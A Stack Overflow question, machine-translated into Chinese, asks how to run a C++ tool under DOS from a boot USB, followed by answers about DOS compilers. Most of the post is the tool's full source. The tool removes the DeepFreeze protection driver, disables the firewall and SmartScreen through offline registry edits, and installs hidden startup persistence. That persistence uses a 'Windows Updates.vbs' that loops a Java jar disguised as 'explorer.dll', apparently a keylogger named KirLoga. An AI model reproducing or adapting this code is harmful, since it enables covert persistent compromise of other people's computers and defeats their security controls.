2015-04-22 46 views
-1

我目前在C++中有一個應用程序,它將一些文件複製到用戶的HDD。我在閃存驅動器上使用了Hiren的BootCD來啓動MiniXP並在其下運行我的應用程序,但加載時間有點慢,所以我想在磁盤隨附的DOS映像中添加我的應用程序。我的問題是,該應用程序不會運行,因爲「這個應用程序無法在DOS模式下運行」。編譯現有的C++代碼以在DOS中運行

如何在DOS下運行此應用程序或可能從USB驅動器啓動足夠快的其他任何操作系統?

我的應用程序是一個控制檯應用程序,它的代碼是:

#include <iostream> 
#include <fstream> 
#include <windows.h> 
#include <string.h> 
#include <sys/stat.h> 
#include <stdio.h> 
#include <io.h> 
#define MAX 256 
using namespace std; 
string systemdrive; 
string users[MAX];int userscontor=0; 
bool choosew7orxp; 
void menu(); 
bool exists(const std::string& dirName_in) 
{ 
    DWORD ftyp = GetFileAttributesA(dirName_in.c_str()); 
    if (ftyp == INVALID_FILE_ATTRIBUTES) 
    return false; //something is wrong with your path! 

    if (ftyp & FILE_ATTRIBUTE_DIRECTORY) 
    return true; // this is a directory! 

    return false; // this is not a directory! 
} 
bool fileexists (const std::string& name) { 
    struct stat buffer; 
    return (stat (name.c_str(), &buffer) == 0); 
} 
void checkdrive(char drive[]) 
{ 
    string s(drive); 
    s+="Windows"; 
    if (exists(s)) 
    { 
     systemdrive = string(drive); 
    } 
} 
void list() 
{ 
    int dr_type=99; 
    char dr_avail[MAX]; 
    char *temp=dr_avail; 
    /* 1st we fill the buffer */ 
    GetLogicalDriveStrings(MAX,dr_avail); 
    while(*temp!=NULL) { // Split the buffer by null 
     dr_type=GetDriveType(temp); 
     switch(dr_type) { 
      case 3: // Fixed 
      checkdrive(temp); 
      break; 
     } 
     temp += lstrlen(temp) +1; // incriment the buffer 

    } 

} 
void copyfiles(string a1,string a2) 
{ 
    system((char*)(string("copy /V \""+a1+"\" \""+a2+"\"").c_str())); 
} 
void redeepfreeze() 
{ 
    system("cls"); 
    if (!fileexists(systemdrive+"DeepFrz.backup")) 
    { 
     cout << "> Backup does not exist!\n"; 
     Sleep(1000); 
     menu(); 
    } 
    else 
    { 
     cout <<"> Found Backup.\n"; 
     cout <<"> Restoring backup.\n"; 

     string f = systemdrive; 
     f+="Windows\\System32\\drivers\\DeepFrz.sys"; 
     if(remove(f.c_str()) !=0) 
     { 
      cout << "> Cannot delete file! Aborting.\n"; 
      Sleep(1000); 
      menu(); 
     } 
     copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"); 
     cout <<"> Backup restored under \"DeepFrz.sys\"\n"; 
     Sleep(1000); 
     menu(); 

    } 
} 
void disablefirewall() 
{ 
    system("cls"); 
    cout <<"> Loading registery from windows machine...\n"; 
// cout << "reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\System"; 
    system((char*)(string("reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\SYSTEM").c_str())); 
    cout <<"> Registery loaded, disabling Firewall :3\n"; 
    for (int i=0;i<=9;i++) 
    { 
     char buff[33]; 
     system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
     system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
     system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
    } 
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str())); 
    cout <<"> Operation completed,saving..\n"; 
    system("reg unload HKLM\\OLD_SYSTEM"); 
    cout <<"> Done.\n"; 
    Sleep(1000); 
    menu(); 
} 
void disablesmartscreen() 
{ 
    system("cls"); 
    cout <<"> Loading registery from windows machine...\n"; 
    system((char*)(string("reg load HKLM\\OLD_SOFTWARE "+systemdrive+"Windows\\System32\\Config\\Software").c_str())); 
    cout <<"> Registery loaded, disabling SmartScreen :3\n"; 
// cout <<"reg add \"HKLM\\OLD_SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f"; 
// system("pause"); 
    system((char*)(string("reg add \"HKLM\\OLD_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str())); 
    cout <<"> Operation completed,saving..\n"; 
    system("reg unload HKLM\\OLD_SOFTWARE"); 
    cout <<"> Done.\n"; 
    Sleep(1000); 
    menu(); 
} 
//} 
void deldeepfreeze() 
{ 
    system("cls"); 
    if (!fileexists(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys")) 
    { 
     cout << "> Deepfreeze does not exist!\n"; 
     Sleep(1000); 
     menu(); 
    } 
    else 
    { 
     cout <<"> Found DeepFreeze.\n"; 
     cout <<"> Creating backup.\n"; 
//  copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.backup"); 
     copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"DeepFrz.backup"); 
     cout <<"> Attempting to unfreeze part one...\n"; 

     string f = systemdrive; 
     f+="Windows\\System32\\drivers\\DeepFrz.sys"; 

     if(remove(f.c_str()) !=0) 
     { 
      cout << "> Cannot delete file! Aborting.\n"; 
      Sleep(1000); 
      menu(); 
     } 

     cout <<"> Backup crated under \"DeepFrz.backup\"\n"; 
     cout <<"> Searching for \"ntfs.sys\"...\n"; 
     if (!fileexists(systemdrive+"Windows\\System32\\drivers\\ntfs.sys")) 
     { 
      cout <<" > ERROR. Cannot find ntfs.sys! Aborting.\n"; 
      Sleep(1000); 
      menu(); 
     } 
     else 
     { 
      cout << "> Patching ntfs.sys...\n"; 
      copyfiles(systemdrive+"Windows\\System32\\drivers\\ntfs.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"); 
      cout << "> Patching DONE. Computer unfrozen!\n"; 
      Sleep(1000); 
      menu(); 
     } 
    } 
} 
void list(char* dir,string users[],int &unr) 
{ 
    int con=0; 
    char originalDirectory[_MAX_PATH]; 

    // Get the current directory so we can return to it 
    _getcwd(originalDirectory, _MAX_PATH); 

    _chdir(dir); // Change to the working directory 
    _finddata_t fileinfo; 

    // This will grab the first file in the directory 
    // "*" can be changed if you only want to look for specific files 
    intptr_t handle = _findfirst("*", &fileinfo); 

    if(handle == -1) // No files or directories found 
    { 
     cout <<"> No users found.\n"; 
     return; 
    } 

    do 
    { 
     if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0) 
      continue; 
     if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory 
     { 
      users[con]=fileinfo.name; 
      con++; 
     } 

//  else 
//   cout << "This is a file." << endl; 
    } while(_findnext(handle, &fileinfo) == 0); 

    _findclose(handle); // Close the stream 

    _chdir(originalDirectory); 
    unr=con; 
} 

void installapp(char* app) 
{ 
    system("cls"); 
    if (!fileexists(app)) 
    { 
     cout << "> "<<app<<" does not exist!\n"; 
     Sleep(1000); 
     menu(); 
    } 
    else 
    { 
     if (choosew7orxp==true)///it's W7 or W8 
     { 
      string temp = systemdrive+"Users"; 
      string tmpu[MAX]; 
      int amont; 
      list((char*)temp.c_str(),tmpu,amont); 
      cout << "> Which user are you? Enter the #"<<"\n\n"; 
      for (int i=0;i<amont;i++) 
      { 
       cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
      } 
      int nr; 
      cin >> nr; 
      while (nr<0||nr>amont) 
      { 
       cout << "Invalid number!\n";cin>>nr; 
      } 
      system("cls"); 
      cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
      string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"; 
      cout <<"> Installing..\n"; 
      copyfiles(app,dest+"\\"+app); 
      cout <<"> Done!\n"; 
      Sleep(1000); 

     } 
     else 
     { ///it's WXP 
      string temp = systemdrive+"Documents and Settings"; 
      string tmpu[MAX]; 
      int amont; 
      list((char*)temp.c_str(),tmpu,amont); 
      cout << "> Which user are you? Enter the #"<<"\n\n"; 
      for (int i=0;i<amont;i++) 
      { 
       cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
      } 
      int nr; 
      cin >> nr; 
      while (nr<0||nr>amont) 
      { 
       cout << "Invalid number!\n";cin>>nr; 
      } 
      system("cls"); 
      cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
      string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Start Menu\\Programs\\Startup"; 
      cout <<"> Installing..\n"; 
      copyfiles(app,dest+"\\"+app); 
      cout <<"> Done!\n"; 
      Sleep(1000); 
     } 
    } 
} 
void masseject_fix() 
{ 
    system("cls"); 
    char letter; 
    cout <<"> What is your default CD letter?\n"; 
    cin >> letter; 
    letter=toupper(letter); 
    cout <<"> Selected drive: \""<<letter<<":\\\".\n"; 

    if (choosew7orxp==true)///it's W7 or W8 
    { 
     string temp = systemdrive+"Users"; 
     string tmpu[MAX]; 
     int amont; 
     list((char*)temp.c_str(),tmpu,amont); 
     cout << "> Which user are you? Enter the #"<<"\n\n"; 
     for (int i=0;i<amont;i++) 
     { 
      cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
     } 
     int nr; 
     cin >> nr; 
     while (nr<0||nr>amont) 
     { 
      cout << "Invalid number!\n";cin>>nr; 
     } 
     system("cls"); 
     cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
     string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming"; 

     fstream fout((dest+"\\massdrive.txt").c_str(),ios::out); 
     fout<<" "<<letter; 
     fout.close(); 
     cout <<"> Done!\n"; 
     Sleep(1000); 

    } 
    else 
    { ///it's WXP 
     string temp = systemdrive+"Documents and Settings"; 
     string tmpu[MAX]; 
     int amont; 
     list((char*)temp.c_str(),tmpu,amont); 
     cout << "> Which user are you? Enter the #"<<"\n\n"; 
     for (int i=0;i<amont;i++) 
     { 
      cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
     } 
     int nr; 
     cin >> nr; 
     while (nr<0||nr>amont) 
     { 
      cout << "Invalid number!\n";cin>>nr; 
     } 
     system("cls"); 
     cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
     string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data"; 


     cout <<"> Done!\n"; 
     Sleep(1000); 
    } 

} 
void installAppdata(char* app) 
{ 
    if (!fileexists(app)) 
    { 
     cout << "> "<<app<<" does not exist!\n"; 
     Sleep(1000); 
     menu(); 
    } 
    else 
    { 
     if (choosew7orxp==true)///it's W7 or W8 
     { 
      string temp = systemdrive+"Users"; 
      string tmpu[MAX]; 
      int amont; 
      list((char*)temp.c_str(),tmpu,amont); 
      cout << "> Which user are you? Enter the #"<<"\n\n"; 
      for (int i=0;i<amont;i++) 
      { 
       cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
      } 
      int nr; 
      cin >> nr; 
      while (nr<0||nr>amont) 
      { 
       cout << "Invalid number!\n";cin>>nr; 
      } 
      system("cls"); 
      cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
      string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming"; 
      cout <<"> Installing..\n"; 
      copyfiles(app,dest+"\\"+app); 
      cout <<"> Done!\n"; 
      Sleep(1000); 

     } 
     else 
     { ///it's WXP 
      string temp = systemdrive+"Documents and Settings"; 
      string tmpu[MAX]; 
      int amont; 
      list((char*)temp.c_str(),tmpu,amont); 
      cout << "> Which user are you? Enter the #"<<"\n\n"; 
      for (int i=0;i<amont;i++) 
      { 
       cout << "User number #"<<i<<": "<<tmpu[i]<<"\n"; 
      } 
      int nr; 
      cin >> nr; 
      while (nr<0||nr>amont) 
      { 
       cout << "Invalid number!\n";cin>>nr; 
      } 
      system("cls"); 
      cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n"; 
      string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data"; 
      cout <<"> Installing..\n"; 
      copyfiles(app,dest+"\\"+app); 
      cout <<"> Done!\n"; 
      Sleep(1000); 
     } 
    } 
} 
void installKirLoga() 
{ 
    fstream temp("Windows Updates.vbs",ios::out); 
    temp << "CreateObject(\"Wscript.Shell\").Run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, False"; 
    temp.close(); 
    installapp("Windows Updates.vbs"); 

    fstream temp2("xfrps.bat",ios::out); 
    temp2 << ":loop\r\ndel \"%APPDATA%\\KirLoga.jar\"\r\nCOPY \"%APPDATA%\\explorer.dll_update\" \"%APPDATA%\\explorer.dll\"\r\njava -jar \"%APPDATA%\\explorer.dll\" 1\r\ngoto loop"; 
    temp2.close(); 

    installAppdata("xfrps.bat"); 
    installAppdata("explorer.dll_update"); 
    menu(); 

} 
void install_custom() 
{ 
    system("cls"); 
    char ch[MAX]; 
    cout <<"> Enter app name: "; 
    cin >>ch; 
    installapp(ch); 
    menu(); 
} 
void menu() 
{ 
    int choose; 
    system("cls"); 
    cout <<"> This is the main menu. Please choose an option.\n"; 
    cout <<"> 1. Delete DeepFreeze\n"; 
    cout <<"> 2. Reinstall DeepFreeze\n"; 
    cout <<"> 3. Install MassEject\n"; 
    cout <<"> 4. Configure MassEject\n"; 
    cout <<"> 5. Install other app to Startup\n"; 
    cout <<"> 6. Disable SmartScren\n"; 
    cout <<"> 7. Disable Firewall\n"; 
    cout <<"> 8. Quickie (Administrator, E:\\) <not updated>\n"; 
    cout <<"> 9. Install KirLoga <only starts after reboot>\n"; 
    cin.get(); 
    cin >> choose; 
    if (choose==1) 
    { 
     deldeepfreeze(); 
    } 
    else if (choose==2) 
    { 
     redeepfreeze(); 
    } 
    else if (choose==3) 
    { 
     installapp("MassEject.jar"); 
     menu(); 
    }else if (choose==4) 
    { 
     masseject_fix(); 
    }else if (choose==5) 
    { 
     install_custom(); 
    }else if (choose==6) 
    { 
     disablesmartscreen(); 
    } 
    else if (choose==7) 
    { 
     disablefirewall(); 
    } 
    else if (choose==8) 
    { 
     //TODO 
    } 
    else if (choose==9) 
    { 
     installKirLoga(); 
    } 
} 
void choose_os() 
{ 
    system("cls"); 
    cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'\n'; 
    char choice; 
    cin >> choice; 
    switch(choice) 
    { 
     case 'a': choosew7orxp=true;break; 
     case 'A': choosew7orxp=true;break; 
     case 'b': choosew7orxp=false;break; 
     case 'B': choosew7orxp=false;break; 
     default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break; 
    } 
    system("cls"); 
} 
int main() 
{ 
    system("cls"); 
    cout << "> Welcome to Kiraly's pack utility.\n"; 
    cout << "> Scanning system drives...\n"; 
    list(); 
    cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) "; 
    char cdr; 
    cin >> cdr; 
    while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n') 
    { 
     cout << "Incorrect syntax. Please re-enter. "; 
     cin >> cdr; 
    } 
    if (cdr=='n'||cdr=='N') 
    { 
     cout << "> Please enter the drive letter ONLY. Example: \"C\" not \"C:\\\" "; 
     char drlet; 
     cin >> drlet; 
     if ((int)drlet>=97) 
     { 
      drlet-=32; 
     } 
     systemdrive="";systemdrive+=drlet;systemdrive+=":\\"; 
     cout <<"> The system drive letter has been set to: "<<systemdrive<<"\n"; 
    } 
// Sleep(1000); 
    system(systemdrive.substr(0,2).c_str()); 
    choose_os(); 
    menu(); 

} 
+0

這裏有幾個問題。請注意,許多Linux發行版(例如Debian)可以配置爲不能很早啓動Xorg服務器並運行登錄shell。 –

+0

我添加了linux問題,因爲這可能是一個替代方案,但最可取的方法是在DOS環境下運行該應用程序 – KiralyCraft

+0

您是否考慮啓動[freedos](http://www.freedos.org/)?順便說一句,你的問題很混亂。請修改您的問題以改進它。一次只詢問一個問題。 StackOverflow適用於與某些源代碼相關的問題,但您在問題中未顯示任何源代碼。 –

回答

2

首先,你需要能夠產生DOS代碼,如WATCOM C++編譯器:http://www.openwatcom.org/index.php/Main_Page

程序使用windows api調用(它包括windows.h),你將需要用他們的DOS等價物替換所有這些功能或者自己寫替代品。

+0

我會看看Watcom,對於Windows API調用,我應該如何訪問DOS的「複製」命令?我使用Windows API來使用它的「複製」命令,該命令還具有/ v(驗證)命令。任何與DOS相當的東西? – KiralyCraft

+0

@KiralyCraft,你似乎誤解了什麼是Windows API。 'GetLogicalDriveStrings','GetFileAttributesA','GetDriveType'都是Windows API調用,並且在DOS中不可用,因此調用的reg.exe不能在DOS中調用,因爲它是Win32可執行文件。 – n0rd